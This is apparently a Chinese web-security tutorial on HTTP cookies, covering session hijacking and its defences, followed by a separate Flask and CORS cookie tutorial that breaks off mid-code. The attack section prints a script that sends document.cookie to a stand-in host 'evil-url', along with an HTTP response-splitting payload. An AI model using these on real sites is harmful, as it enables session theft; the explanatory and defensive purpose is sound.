、cookie的基本特性
如果不了解cookie,可以先到wikipedia上學(xué)習(xí)一下。
http request
瀏覽器向服務(wù)器發(fā)起的每個(gè)請(qǐng)求都會(huì)帶上cookie:
Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */*
http response
服務(wù)器給瀏覽器的返回可以設(shè)置cookie:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page)
二、cookie有關(guān)的術(shù)語(yǔ)
session cookie
當(dāng)cookie沒(méi)有設(shè)置超時(shí)時(shí)間,那么cookie會(huì)在瀏覽器退出時(shí)銷(xiāo)毀,這種cookie是session cookie。
persistent cookie/tracking cookie
設(shè)置了超時(shí)時(shí)間的cookie,會(huì)在指定時(shí)間銷(xiāo)毀,cookie的維持時(shí)間可以持續(xù)到瀏覽器退出之后,這種cookie被持久化在瀏覽器中。很多站點(diǎn)用cookie跟蹤用戶(hù)的歷史記錄,例如廣告類(lèi)站點(diǎn)會(huì)使用cookie記錄瀏覽過(guò)哪些內(nèi)容,搜索引擎會(huì)使用cookie記錄歷史搜索記錄,這時(shí)也可以稱(chēng)作tracking cookie,因?yàn)樗挥糜谧粉櫽脩?hù)行為。
secure cookie
服務(wù)器端設(shè)置cookie的時(shí)候,可以指定secure屬性,這時(shí)cookie只有通過(guò)https協(xié)議傳輸?shù)臅r(shí)候才會(huì)帶到網(wǎng)絡(luò)請(qǐng)求中,不加密的http請(qǐng)求不會(huì)帶有secure cookie。設(shè)置secure cookie的方式舉例:
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服務(wù)器端設(shè)置cookie的時(shí)候,也可以指定一個(gè)HttpOnly屬性。
Set-Cookie: foo=bar; Path=/; HttpOnly
設(shè)置了這個(gè)屬性的cookie在javascript中無(wú)法獲取到,只會(huì)在網(wǎng)絡(luò)傳輸過(guò)程中帶到服務(wù)器。
third-party cookie
第三方cookie的使用場(chǎng)景通常是iframe,例如www.a.com潛入了一個(gè)www.ad.com的廣告iframe,那么www.ad.com設(shè)置的cookie屬于不屬于www.a.com,被稱(chēng)作第三方cookie。
supercookie
cookie會(huì)從屬于一個(gè)域名,例如www.a.com,或者屬于一個(gè)子域,例如b.a.com。但是如果cookie被聲明為屬于.com會(huì)發(fā)生什么?這個(gè)cookie會(huì)在任何.com域名生效。這有很大的安全性問(wèn)題。這種cookie被稱(chēng)作supercookie。瀏覽器做出了限制,不允許設(shè)置頂級(jí)域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。現(xiàn)代主流瀏覽器都很好的處理了supercookie問(wèn)題,但是如果有些第三方瀏覽器使用的頂級(jí)域名和public suffix列表有問(wèn)題,那么就可以針對(duì)supercookie進(jìn)行攻擊啦。
zombie cookie/evercookie
僵尸cookie是指當(dāng)用戶(hù)通過(guò)瀏覽器的設(shè)置清除cookie后可以自動(dòng)重新創(chuàng)建的cookie。原理是通過(guò)使用多重技術(shù)記錄同樣的內(nèi)容(例如flash,silverlight),當(dāng)cookie被刪除時(shí),從其他存儲(chǔ)中恢復(fù)。 evercookie是實(shí)現(xiàn)僵尸cookie的主要技術(shù)手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三種主要的用途。
session管理
http協(xié)議本身是是無(wú)狀態(tài)的,但是現(xiàn)代站點(diǎn)很多都需要維持登錄態(tài),也就是維持會(huì)話。最基本的維持會(huì)話的方式是Base Auth,但是這種方式,用戶(hù)名和密碼在每次請(qǐng)求中都會(huì)以明文的方式發(fā)送到客戶(hù)端,很容易受到中間人攻擊,存在很大的安全隱患。所以現(xiàn)在大多數(shù)站點(diǎn)采用基于cookie的session管理方式:用戶(hù)登陸成功后,設(shè)置一個(gè)唯一的cookie標(biāo)識(shí)本次會(huì)話,基于這個(gè)標(biāo)識(shí)進(jìn)行用戶(hù)授權(quán)。只要請(qǐng)求中帶有這個(gè)標(biāo)識(shí),都認(rèn)為是登錄態(tài)。
個(gè)性化
cookie可以被用于記錄一些信息,以便于在后續(xù)用戶(hù)瀏覽頁(yè)面時(shí)展示相關(guān)內(nèi)容。典型的例子是購(gòu)物站點(diǎn)的購(gòu)物車(chē)功能。以前Google退出的iGoogle產(chǎn)品也是一個(gè)典型的例子,用戶(hù)可以擁有自己的Google自定制主頁(yè),其中就使用了cookie。
user tracking
cookie也可以用于追蹤用戶(hù)行為,例如是否訪問(wèn)過(guò)本站點(diǎn),有過(guò)哪些操作等。
四、cookie竊取和session劫持
本文就cookie的三種用途中session管理的安全問(wèn)題進(jìn)行展開(kāi)。 既然cookie用于維持會(huì)話,如果這個(gè)cookie被攻擊者竊取會(huì)發(fā)生什么?session被劫持! 攻擊者劫持會(huì)話就等于合法登錄了你的賬戶(hù),可以瀏覽大部分用戶(hù)資源。
攻擊一旦站點(diǎn)中存在可利用的xss漏洞,攻擊者可直接利用注入的js腳本獲取cookie,進(jìn)而通過(guò)異步請(qǐng)求把標(biāo)識(shí)session id的cookie上報(bào)給攻擊者。
var img=document.createElement('img'); img.src='http://evil-url?c='+ encodeURIComponent(document.cookie); document.getElementsByTagName('body')[0].appendChild(img);
如何尋找XSS漏洞是另外一個(gè)話題了,自行g(shù)oogle之。 防御 根據(jù)上面HttpOnly cookie的介紹,一旦一個(gè)cookie被設(shè)置為HttpOnly,js腳本就無(wú)法再獲取到,而網(wǎng)絡(luò)傳輸時(shí)依然會(huì)帶上。也就是說(shuō)依然可以依靠這個(gè)cookie進(jìn)行session維持,但客戶(hù)端js對(duì)其不可見(jiàn)。那么即使存在xss漏洞也無(wú)法簡(jiǎn)單的利用其進(jìn)行session劫持攻擊了。 但是上面說(shuō)的是無(wú)法利用xss進(jìn)行簡(jiǎn)單的攻擊,但是也不是沒(méi)有辦法的。既然無(wú)法使用document.cookie獲取到,可以轉(zhuǎn)而通過(guò)其他的方式。下面介紹兩種xss結(jié)合其他漏洞的攻擊方式。
xss結(jié)合phpinfo頁(yè)面
攻擊 大家都知道,利用php開(kāi)發(fā)的應(yīng)用會(huì)有一個(gè)phpinfo頁(yè)面。而這個(gè)頁(yè)面會(huì)dump出請(qǐng)求信息,其中就包括cookie信息。
如果開(kāi)發(fā)者沒(méi)有關(guān)閉這個(gè)頁(yè)面,就可以利用xss漏洞向這個(gè)頁(yè)面發(fā)起異步請(qǐng)求,獲取到頁(yè)面內(nèi)容后parse出cookie信息,然后上傳給攻擊者。 phpinfo只是大家最常見(jiàn)的一種dump請(qǐng)求的頁(yè)面,但不僅限于此,為了調(diào)試方便,任何dump請(qǐng)求的頁(yè)面都是可以被利用的漏洞。 防御關(guān)閉所有phpinfo類(lèi)dump request信息的頁(yè)面。
XSS + HTTP TRACE=XST
這是一種古老的攻擊方式,現(xiàn)在已經(jīng)消失,寫(xiě)在這里可以擴(kuò)展一下攻防思路。http trace是讓我們的web服務(wù)器將客戶(hù)端的所有請(qǐng)求信息返回給客戶(hù)端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發(fā)起trace請(qǐng)求,又可以獲取session信息了。之所以說(shuō)是一種古老的攻擊方式,因?yàn)楝F(xiàn)代瀏覽器考慮到XST的危害都禁止了異步發(fā)起trace請(qǐng)求。另外提一點(diǎn),當(dāng)瀏覽器沒(méi)有禁止異步發(fā)起trace的時(shí)代,很多開(kāi)發(fā)者都關(guān)閉了web server的trace支持來(lái)防御XST攻擊。但攻擊者在特定的情況下還可以繞過(guò),用戶(hù)使用了代理服務(wù)器,而代理服務(wù)器沒(méi)有關(guān)閉trace支持,這樣又可以trace了。
HTTP Response Splitting
通常的XSS攻擊都是把輸入內(nèi)容注入到response的content中,HTTP Response Splitting是一種針對(duì)header的注入。例如,一個(gè)站點(diǎn)接受參數(shù)做302跳轉(zhuǎn):
www.example.com/?r=http://baidu.com
request信息:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found Location: http://baidu.com Content-Type: text/html
這樣頁(yè)面就302跳轉(zhuǎn)到百度了。攻擊者利用r參數(shù)可以注入header,r參數(shù)不是簡(jiǎn)單的url,而是包含的header信息:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response變成了:
HTTP/1.1 302 Found Location: HTTP/1.1 200 OK Content-Type: text/html X-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html> Content-Type: text/html
有兩個(gè)攻擊要點(diǎn):
防御 針對(duì)header的內(nèi)容做過(guò)濾,不能漏掉,特別是Location,host,referrer等。說(shuō)到底,這也是一種XSS攻擊,只是攻擊方式與普通的不太一樣。針對(duì)header的攻擊還可以做SQL注入等,防御的原則是對(duì)所有的輸入進(jìn)行sanitize,包括非用戶(hù)輸入的內(nèi)容,比如referrer這種一般由瀏覽器帶過(guò)來(lái)的信息,因?yàn)檎?qǐng)求完全可以被偽造,未必來(lái)自瀏覽器。
網(wǎng)絡(luò)監(jiān)聽(tīng)(network eavesdropping/network sniffing)
以上是利用上層應(yīng)用的特性的幾種攻擊方式,cookie不僅存在于上層應(yīng)用中,更流轉(zhuǎn)于請(qǐng)求中。上層應(yīng)用獲取不到后,攻擊者可以轉(zhuǎn)而從網(wǎng)絡(luò)請(qǐng)求中獲取。只要是未使用https加密的網(wǎng)站都可以抓包分析,其中就包含了標(biāo)識(shí)session的cookie。當(dāng)然,完成網(wǎng)絡(luò)監(jiān)聽(tīng)需要滿(mǎn)足一定的條件,這又是另外一個(gè)話題了。常見(jiàn)的方式:
防御使用https。使用https協(xié)議的請(qǐng)求都被ssl加密,理論上不可破解,即便被網(wǎng)絡(luò)監(jiān)聽(tīng)也無(wú)法通過(guò)解密看到實(shí)際的內(nèi)容。防御網(wǎng)絡(luò)監(jiān)聽(tīng)通常有兩種方式:
https是加密信道,在此信道上傳輸?shù)膬?nèi)容對(duì)中間人都是不可見(jiàn)的。但https是有成本的。內(nèi)容加密比較好理解,例如對(duì)password先加密再傳輸。但是對(duì)于標(biāo)識(shí)session的cookie這種標(biāo)識(shí)性信息是無(wú)法通過(guò)內(nèi)容加密得到保護(hù)的。那么,使用https的站點(diǎn)就可以高枕無(wú)憂(yōu)了嗎?事實(shí)上,一些細(xì)節(jié)上的處理不當(dāng)同樣會(huì)暴露出攻擊風(fēng)險(xiǎn)。
https站點(diǎn)攻擊:雙協(xié)議
如果同時(shí)支持http和https,那么還是可以使用網(wǎng)絡(luò)監(jiān)聽(tīng)http請(qǐng)求獲取cookie。 防御只支持https,不支持http。這樣就好了嗎?No.
https站點(diǎn)攻擊:301重定向
例如www.example.com只支持https協(xié)議,當(dāng)用戶(hù)直接輸入example.com(大部分用戶(hù)都不會(huì)手動(dòng)輸入?yún)f(xié)議前綴),web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請(qǐng)求是http的!而且?guī)Я薱ookie,這樣又將cookie明文暴露在網(wǎng)絡(luò)上了。 防御1 把標(biāo)識(shí)session的cookie設(shè)置成secure。上面提到的secure cookie,只允許在https上加密傳輸,在http請(qǐng)求中不會(huì)存在,這樣就不會(huì)暴露在未加密的網(wǎng)絡(luò)上了。 然后現(xiàn)實(shí)很殘酷,很多站點(diǎn)根本無(wú)法做到所有的請(qǐng)求都走h(yuǎn)ttps。原因有很多,可能是成本考慮,可能是業(yè)務(wù)需求。 防御2 設(shè)置Strict-Transport-Security header,直接省略這個(gè)http請(qǐng)求!用戶(hù)首次訪問(wèn)后,服務(wù)器設(shè)置了這個(gè)header以后,后面就會(huì)省略掉這次http 301請(qǐng)求。
cookie 是后端可以存儲(chǔ)在用戶(hù)瀏覽器中的小塊數(shù)據(jù)。 Cookie 最常見(jiàn)用例包括用戶(hù)跟蹤,個(gè)性化以及身份驗(yàn)證。
Cookies 具有很多隱私問(wèn)題,多年來(lái)一直受到嚴(yán)格的監(jiān)管。
在本文中,主要側(cè)重于技術(shù)方面:學(xué)習(xí)如何在前端和后端創(chuàng)建,使用 HTTP cookie。
后端示例是Flask編寫(xiě)的。如果你想跟著學(xué)習(xí),可以創(chuàng)建一個(gè)新的Python虛擬環(huán)境,移動(dòng)到其中并安裝Flask
mkdir cookies && cd $_
python3 -m venv venv
source venv/bin/activate
pip install Flask
在項(xiàng)目文件夾中創(chuàng)建一個(gè)名為flask app.py的新文件,并使用本文的示例在本地進(jìn)行實(shí)驗(yàn)。
首先,cookies 從何而來(lái)?誰(shuí)創(chuàng)建 cookies ?
雖然可以使用document.cookie在瀏覽器中創(chuàng)建 cookie,但大多數(shù)情況下,后端的責(zé)任是在將響應(yīng)客戶(hù)端請(qǐng)求之前在請(qǐng)求中設(shè)置 cookie。
后端是指可以通過(guò)以下方式創(chuàng)建 Cookie:
后端可以在 HTTP 請(qǐng)求求中 Set-Cookie 屬性來(lái)設(shè)置 cookie,它是由鍵/值對(duì)以及可選屬性組成的相應(yīng)字符串:
Set-Cookie: myfirstcookie=somecookievalue
什么時(shí)候需要?jiǎng)?chuàng)建 cookie?這取決于需求。
cookie 是簡(jiǎn)單的字符串。在項(xiàng)目文件夾中創(chuàng)建一個(gè)名為flask_app.py的Python文件,并輸入以下內(nèi)容:
from flask import Flask, make_response
app = Flask(__name__)
@app.route("/index/", methods=["GET"])
def index():
response = make_response("Here, take some cookie!")
response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
return response
然后運(yùn)行應(yīng)用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
當(dāng)該應(yīng)用程序運(yùn)行時(shí),用戶(hù)訪問(wèn)http://127.0.0.1:5000/index/,后端將設(shè)置一個(gè)具有鍵/值對(duì)的名為Set-Cookie的響應(yīng)標(biāo)頭。
(127.0.0.1:5000是開(kāi)發(fā)中的 Flask 應(yīng)用程序的默認(rèn)偵聽(tīng)地址/端口)。
Set-Cookie標(biāo)頭是了解如何創(chuàng)建cookie的關(guān)鍵:
response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
大多數(shù)框架都有自己設(shè)置 cookie 的方法,比如Flask的set_cookie()。
訪問(wèn)http://127.0.0.1:5000/index/后,后端將在瀏覽器中設(shè)置cookie。要查看此cookie,可以從瀏覽器的控制臺(tái)調(diào)用document.cookie:
或者可以在開(kāi)發(fā)人員工具中選中Storage選項(xiàng)卡。單擊cookie,會(huì)看到 cookie 具體的內(nèi)容:
在命令行上,還可以使用curl查看后端設(shè)置了哪些 cookie
curl -I http://127.0.0.1:5000/index/
可以將 Cookie 保存到文件中以供以后使用:
curl -I http://127.0.0.1:5000/index/ --cookie-jar mycookies
在 stdout 上顯示 cookie:
curl -I http://127.0.0.1:5000/index/ --cookie-jar -
請(qǐng)注意,沒(méi)有HttpOnly屬性的cookie,在瀏覽器中可以使用document.cookie上訪問(wèn),如果設(shè)置了 HttpOnly 屬性,document.cookie就讀取不到。
Set-Cookie: myfirstcookie=somecookievalue; HttpOnly
現(xiàn)在,該cookie 仍將出現(xiàn)在 Storage 選項(xiàng)卡中,但是 document.cookie返回的是一個(gè)空字符串。
從現(xiàn)在開(kāi)始,為方便起見(jiàn),使用Flask的 response.set_cookie() 在后端上創(chuàng)建 cookie。
你的瀏覽器得到一個(gè) cookie。現(xiàn)在怎么辦呢?一旦有了 cookie,瀏覽器就可以將cookie發(fā)送回后端。
這有許多用途發(fā)如:用戶(hù)跟蹤、個(gè)性化,以及最重要的身份驗(yàn)證。
例如,一旦你登錄網(wǎng)站,后端就會(huì)給你一個(gè)cookie:
Set-Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
為了在每個(gè)后續(xù)請(qǐng)求中正確識(shí)別 我們的身份,后端會(huì)檢查來(lái)自請(qǐng)求中瀏覽器的 cookie
要發(fā)送Cookie,瀏覽器會(huì)在請(qǐng)求中附加一個(gè)Cookie標(biāo)頭:
Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
默認(rèn)情況下,cookie 在用戶(hù)關(guān)閉會(huì)話時(shí)即關(guān)閉瀏覽器時(shí)過(guò)期。要持久化cookie,我們可以通過(guò)expires或Max-Age屬性
Set-Cookie: myfirstcookie=somecookievalue; expires=Tue, 09 Jun 2020 15:46:52 GMT; Max-Age=1209600
注意:Max-Age優(yōu)先于expires。
考慮該后端,該后端在訪問(wèn)http://127.0.0.1:5000/時(shí)為其前端設(shè)置了一個(gè)新的 cookie。相反,在其他兩條路徑上,我們打印請(qǐng)求的cookie:
from flask import Flask, make_response, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d", path="/about/")
return response
@app.route("/about/", methods=["GET"])
def about():
print(request.cookies)
return "Hello world!"
@app.route("/contact/", methods=["GET"])
def contact():
print(request.cookies)
return "Hello world!"
運(yùn)行該應(yīng)用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
在另一個(gè)終端中,如果我們與根路由建立連接,則可以在Set-Cookie中看到cookie:
curl -I http://127.0.0.1:5000/ --cookie-jar cookies
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
Set-Cookie: id=3db4adj3d; Path=/about/
Server: Werkzeug/1.0.1 Python/3.8.3
Date: Wed, 27 May 2020 09:21:37 GMT
請(qǐng)注意,此時(shí) cookie 具有Path屬性:
Set-Cookie: id=3db4adj3d; Path=/about/
/about/ 路由并保存 cookit
curl -I http://127.0.0.1:5000/about/ --cookie cookies
在 Flask 應(yīng)用程序的終端中運(yùn)行如下命令,可以看到:
ImmutableMultiDict([('id', '3db4adj3d')])
127.0.0.1 - - [27/May/2020 11:27:55] "HEAD /about/ HTTP/1.1" 200 -
正如預(yù)期的那樣,cookie 返回到后端。現(xiàn)在嘗試訪問(wèn) /contact/ 路由:
url -I http://127.0.0.1:5000/contact/ --cookie cookies
在 Flask 應(yīng)用程序的終端中運(yùn)行如下命令,可以看到:
ImmutableMultiDict([])
127.0.0.1 - - [27/May/2020 11:29:00] "HEAD /contact/ HTTP/1.1" 200 -
這說(shuō)明啥?cookie 的作用域是Path 。具有給定路徑屬性的cookie不能被發(fā)送到另一個(gè)不相關(guān)的路徑,即使這兩個(gè)路徑位于同一域中。
這是cookie權(quán)限的第一層。
在cookie創(chuàng)建過(guò)程中省略Path時(shí),瀏覽器默認(rèn)為/。
cookie 的 Domain 屬性的值控制瀏覽器是否應(yīng)該接受cookie以及cookie返回的位置。
讓我們看一些例子。
查看 https://serene-bastion-01422.herokuapp.com/get-wrong-domain-cookie/設(shè)置的cookie:
Set-Cookie: coookiename=wr0ng-d0m41n-c00k13; Domain=api.valentinog.com
這里的 cookie 來(lái)自serene-bastion-01422.herokuapp.com,但是Domain屬性具有api.valentinog.com。
瀏覽器沒(méi)有其他選擇來(lái)拒絕這個(gè) cookie。比如 Chrome 會(huì)給出一個(gè)警告(Firefox沒(méi)有)
查看 https://serene-bastion-01422.herokuapp.com/get-wrong-subdomain-cookie/設(shè)置的cookie:
Set-Cookie: coookiename=wr0ng-subd0m41n-c00k13; Domain=secure-brushlands-44802.herokuapp.com
這里的 Cookie 來(lái)自serene-bastion-01422.herokuapp.com,但**“Domain”**屬性是secure-brushlands-44802.herokuapp.com。
它們?cè)谙嗤挠蛏希亲佑蛎煌M瑯樱瑸g覽器也拒絕此cookie:
查看 https://www.valentinog.com/get-domain-cookie.html設(shè)置的cookie:
set-cookie: cookiename=d0m41n-c00k13; Domain=valentinog.com
此cookie是使用 Nginx add_header在Web服務(wù)器上設(shè)置的:
add_header Set-Cookie "cookiename=d0m41n-c00k13; Domain=valentinog.com";
這里使用 Nginx 中設(shè)置cookie的多種方法。Cookie 是由 Web 服務(wù)器或應(yīng)用程序的代碼設(shè)置的,對(duì)于瀏覽器來(lái)說(shuō)無(wú)關(guān)緊要。
重要的是 cookie 來(lái)自哪個(gè)域。
在此瀏覽器將愉快地接受cookie,因?yàn)镈omain中的主機(jī)包括cookie所來(lái)自的主機(jī)。
換句話說(shuō),valentinog.com包括子域名www.valentinog.com。
同時(shí),對(duì)valentinog.com的新請(qǐng)求,cookie 都會(huì)攜帶著,以及任何對(duì)valentinog.com子域名的請(qǐng)求。
這是一個(gè)附加了Cookie的 www 子域請(qǐng)求:
下面是對(duì)另一個(gè)自動(dòng)附加cookie的子域的請(qǐng)求
查看 https://serene-bastion-01422.herokuapp.com/get-domain-cookie/:設(shè)置的 cookie:
Set-Cookie: coookiename=d0m41n-c00k13; Domain=herokuapp.com
這里的 cookie 來(lái)自serene-bas-01422.herokuapp.com,Domain 屬性是herokuapp.com。瀏覽器在這里應(yīng)該做什么
你可能認(rèn)為serene-base-01422.herokuapp.com包含在herokuapp.com域中,因此瀏覽器應(yīng)該接受cookie。
相反,它拒絕 cookie,因?yàn)樗鼇?lái)自公共后綴列表中包含的域。
Public Suffix List(公共后綴列表)。此列表列舉了頂級(jí)域名和開(kāi)放注冊(cè)的域名。瀏覽器禁止此列表上的域名被子域名寫(xiě)入Cookie。
查看 https://serene-bastion-01422.herokuapp.com/get-subdomain-cookie/:設(shè)置的 cookie:
Set-Cookie: coookiename=subd0m41n-c00k13
當(dāng)域在cookie創(chuàng)建期間被省略時(shí),瀏覽器會(huì)默認(rèn)在地址欄中顯示原始主機(jī),在這種情況下,我的代碼會(huì)這樣做:
response.set_cookie(key="coookiename", value="subd0m41n-c00k13")
當(dāng) Cookie 進(jìn)入瀏覽器的 Cookie 存儲(chǔ)區(qū)時(shí),我們看到已應(yīng)用Domain :
現(xiàn)在,我們有來(lái)自serene-bastion-01422.herokuapp.com 的 cookie, 那 cookie 現(xiàn)在應(yīng)該送到哪里?
如果你訪問(wèn)https://serene-bastion-01422.herokuapp.com/,則 cookie 隨請(qǐng)求一起出現(xiàn):
但是,如果訪問(wèn)herokuapp.com,則 cookie 不會(huì)隨請(qǐng)求一起出現(xiàn):
概括地說(shuō),瀏覽器使用以下啟發(fā)式規(guī)則來(lái)決定如何處理cookies(這里的發(fā)送者主機(jī)指的是你訪問(wèn)的實(shí)際網(wǎng)址):
一旦瀏覽器接受了cookie,并且即將發(fā)出請(qǐng)求,它就會(huì)說(shuō):
Domain 和 Path 屬性一直是 cookie 權(quán)限的第二層。
Cookies 可以通過(guò)AJAX請(qǐng)求傳播。AJAX 請(qǐng)求是使用 JS (XMLHttpRequest或Fetch)進(jìn)行的異步HTTP請(qǐng)求,用于獲取數(shù)據(jù)并將其發(fā)送回后端。
考慮 Flask的另一個(gè)示例,其中有一個(gè)模板,該模板又會(huì)加載 JS 文件:
from flask import Flask, make_response, render_template
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
以下是 templates/index.html 模板:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="{{ url_for('static', filename='index.js') }}"></script>
</html>
下面是 static/index.js 的內(nèi)容:
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie();
});
function getACookie() {
fetch("/get-cookie/")
.then(response => {
// make sure to check response.ok in the real world!
return response.text();
})
.then(text => console.log(text));
}
當(dāng)訪問(wèn)http://127.0.0.1:5000/時(shí),我們會(huì)看到一個(gè)按鈕。通過(guò)單擊按鈕,我們向/get-cookie/發(fā)出獲取請(qǐng)求并獲取Cookie。正如預(yù)期的那樣,cookie 落在瀏覽器的 Cookie storage中。
對(duì) Flask 應(yīng)用程序進(jìn)行一些更改,多加一個(gè)路由:
from flask import Flask, make_response, request, render_template, jsonify
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
@app.route("/api/cities/", methods=["GET"])
def cities():
if request.cookies["id"] == "3db4adj3d":
cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
return jsonify(cities)
return jsonify(msg="Ops!")
另外,調(diào)整一下 JS 代碼,用于下請(qǐng)求剛新增的路由:
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("/get-cookie/").then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
fetch("/api/cities/")
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
當(dāng)訪問(wèn)http://127.0.0.1:5000/時(shí),我們會(huì)看到一個(gè)按鈕。通過(guò)單擊按鈕,我們向/get-cookie/發(fā)出獲取請(qǐng)求以獲取Cookie。Cookie出現(xiàn)后,我們就會(huì)對(duì)/api/cities/再次發(fā)出Fetch請(qǐng)求。
在瀏覽器的控制臺(tái)中,可以看到請(qǐng)求回來(lái) 的數(shù)據(jù)。另外,在開(kāi)發(fā)者工具的Network選項(xiàng)卡中,可以看到一個(gè)名為Cookie的頭,這是通過(guò)AJAX請(qǐng)求傳給后端。
只要前端與后端在同一上下文中,在前端和后端之間來(lái)回交換cookie就可以正常工作:我們說(shuō)它們來(lái)自同源。
這是因?yàn)槟J(rèn)情況下,F(xiàn)etch 僅在請(qǐng)求到達(dá)觸發(fā)請(qǐng)求的來(lái)源時(shí)才發(fā)送憑據(jù),即 Cookie。
考慮另一種情況,在后端獨(dú)立運(yùn)行,可以這樣啟動(dòng)應(yīng)用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
現(xiàn)在,在 Flask 應(yīng)用程序之外的其他文件夾中,創(chuàng)建index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="index.js"></script>
</html>
使用以下代碼在同一文件夾中創(chuàng)建一個(gè)名為index.js的 JS 文件:
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("http://localhost:5000/get-cookie/").then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
fetch("http://localhost:5000/api/cities/")
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
}
在同一文件夾中,從終端運(yùn)行:
npx serve
此命令為您提供了要連接的本地地址/端口,例如http://localhost:42091/。訪問(wèn)頁(yè)面并嘗試在瀏覽器控制臺(tái)打開(kāi)的情況下單擊按鈕。在控制臺(tái)中,可以看到:
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
因?yàn)?http://localhost:5000/ 與http://localhost:42091/.不同。它們是不同的域,因此會(huì) CORS 的限制。
CORS 是一個(gè) W3C 標(biāo)準(zhǔn),全稱(chēng)是“跨域資源共享”(Cross-origin resource sharing)。它允許瀏覽器向跨域的服務(wù)器,發(fā)出XMLHttpRequest請(qǐng)求,從而克服了 AJAX 只能同源使用的限制。
整個(gè) CORS 通信過(guò)程,都是瀏覽器自動(dòng)完成,不需要用戶(hù)參與。對(duì)于開(kāi)發(fā)者來(lái)說(shuō),CORS 通信與普通的 AJAX 通信沒(méi)有差別,代碼完全一樣。瀏覽器一旦發(fā)現(xiàn) AJAX 請(qǐng)求跨域,就會(huì)自動(dòng)添加一些附加的頭信息,有時(shí)還會(huì)多出一次附加的請(qǐng)求,但用戶(hù)不會(huì)有感知。因此,實(shí)現(xiàn) CORS 通信的關(guān)鍵是服務(wù)器。只要服務(wù)器實(shí)現(xiàn)了 CORS 接口,就可以跨域通信。
默認(rèn)情況下,除非服務(wù)器設(shè)置了Access-Control-Allow-Origin的特定HTTP標(biāo)頭,否則瀏覽器將阻止AJAX對(duì)非相同來(lái)源的遠(yuǎn)程資源的請(qǐng)求。
要解決此第一個(gè)錯(cuò)誤,我們需要為Flask配置CORS:
pip install flask-cors
然后將 CORS 應(yīng)用于 Flask:
from flask import Flask, make_response, request, render_template, jsonify
from flask_cors import CORS
app = Flask(__name__)
CORS(app=app)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
@app.route("/api/cities/", methods=["GET"])
def cities():
if request.cookies["id"] == "3db4adj3d":
cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
return jsonify(cities)
return jsonify(msg="Ops!")
現(xiàn)在嘗試在瀏覽器控制臺(tái)打開(kāi)的情況下再次單擊按鈕。在控制臺(tái)中你應(yīng)該看到
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/api/cities/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
盡管我們犯了同樣的錯(cuò)誤,但這次的罪魁禍?zhǔn)资堑诙€(gè)路由。
你可以通過(guò)查看 “Network” 標(biāo)簽中的請(qǐng)求來(lái)確認(rèn),沒(méi)有發(fā)送此類(lèi)Cookie:
為了在不同來(lái)源的Fetch請(qǐng)求中包含cookie,我們必須提credentials 標(biāo)志(默認(rèn)情況下,它是相同來(lái)源)。
如果沒(méi)有這個(gè)標(biāo)志,F(xiàn)etch 就會(huì)忽略 cookie,可以這樣修復(fù):
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("http://localhost:5000/get-cookie/", {
credentials: "include"
}).then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
